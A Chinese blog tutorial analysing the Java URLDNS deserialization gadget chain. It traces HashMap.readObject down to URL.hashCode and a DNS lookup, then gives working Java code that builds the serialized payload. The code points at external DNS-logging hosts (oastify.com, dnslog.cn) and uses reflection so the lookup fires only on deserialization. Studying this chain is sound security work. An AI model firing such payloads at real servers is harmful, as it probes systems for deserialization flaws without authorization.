URLDNS链分析 - 技术栈

URLDNS链是java的原生反序列化链，通常用于验证是否存在java反序列化的验证，因为是原生态的，所以是不存在版本的限制的。

🍺 HashMap结合URL触发DNS请求的思路。

🌟 为什么HashMap重写了readObject方法和writeObject方法？

HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法。

🌛 ysoserial中列出的Gadget

* Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

🍄 原理

HashMap重写了readObject方法，当反序列化的时候，会调用hash方法去计算key的hashcode，然而URL类的hashcode方法通过getHostAddress方法去发起了DNS请求。

🍀 HashMap#readObject

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        //读取传入的输入流，然后对其传入的序列化数据进行反序列化
        // 调用ObjectInputStream的defaultReadObject方法，用于读取默认的序列化数据，包括阈值（忽略）、负载因子和其他隐藏信息
        s.defaultReadObject();
        //重新初始化 HashMap，恢复到默认状态
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

跟进到HashMap的readObject，发现重写的这个readObject方法在最下面执行了hash(key) 我们知道：在服务器对序列化数据进行反序列化的时候，会调用被序列化对象的readObject方法。

然后继续跟进到hash。

🌴 hash

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

在这里通过key调用了hashCode方法。那个就需要找一下hashCode的实现，寻找实现了hashCode方法的调用且参数可控的类。于是就有了URL类中的hashCode方法

🌛 URL#hashCode

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode参数为-1的时候，就会通过hashCode = handler.hashCode(this)进行计算。跟进handler，发现其定义为：

transient URLStreamHandler handler;
transient 关键字，修饰序列化对象的时，不需要序列化的属性

那就继续跟进到URLStreamHandler，找到他的hashCode方法：

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

发现在该方法中存在InetAddress addr = getHostAddress(u);其中的参数u还是可控的！继续跟进到getHostAddress(u)方法中

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

我们传入的u其实就是url，通过getHostAddress进行DNS查询。到这里整个链子也就分析完了

HashMap -> readObject() -> hash() -> URL -> hashCode() -> URLStreamHandler 
->hashCode() -> getHostAddress(u) -> InetAddress.getByName(host)

🌝 利用

🌟 根据我们上面的分析，应该是没什么问题的。所以开始尝试去写利用代码：

package org.y4y17;

import java.io.*;
import java.net.URI;
import java.net.URL;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class Application {
    public static void main(String[] args) throws IOException {

//        Serialization serialization = new Serialization();
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();

        URL url = new URL("http://187iavu8npeyxcn8j1ikp6m2etkl8bw0.oastify.com");
        hashMap.put(url,0);
        //进行序列化
        Serialization serialization = new Serialization(hashMap);

    }
}

🌈 出现问题

但是在序列化的时候，发现就触发了DNS查询：

这是为什么呢？回到我们序列化的代码，跟进put方法：

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

发现在执行put方法的时候，便已经调用了hash(key)，那我们回到URL类中的hashCode()方法：

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

在这段代码中，先去判断了hashCode是不是-1，很明显之所以执行了DNS查询，肯定就是hashCode=1了。跟进到hashCode的定义处：

private int hashCode = -1;

在URL类中初始化了hashCode参数的值就是-1 所以我们第一次执行的时候，hashCode就是-1，导致执行了后续的调用URLStreamHandler类中的hashCode方法。所以我们需要绕过这个hashCode参数，让他的值不等于-1。

🍺 绕过hashCode=-1

如何绕过hashCode=-1这个问题。便涉及到了java的反射机制，关于Java的反射机制，去看Java反射笔记。通过反射机制，可以在java运行时改变对象中的属性、调用方法等，反射机制的出现使得java这门语言具有了动态性！

当前的问题就是：在put的时候，就执行了hash方法，从而调用了URL的hashCode方法：

因此这里就需要在put方法执行之前，通过反射机制，修改hashCode参数值不是-1 在put方法之后，再把hashCode参数值改回-1。

package org;

import java.io.IOException;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Application {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();
        URL url = new URL("http://15llbq.dnslog.cn");
        //绕过put时，hashCode=-1，此时需要通过反射去改变hashCode的参数值不为-1，然后再put
        Class urlClass = URL.class;
        Field hashCode = urlClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url,1);
        //上面已经通过反射机制将url的hashCode设置为1，避免了在put的时候就发生DNS请求
        hashMap.put(url,1);
        //put完之后，还需要将hashCode改回-1
        hashCode.set(url,-1);
        //然后进行序列化操作
//        Serialization serialization = new Serialization(hashMap);
        //序列化完成之后，再进行反序列化操作
        Unserialization unserialization = new Unserialization();
    }
}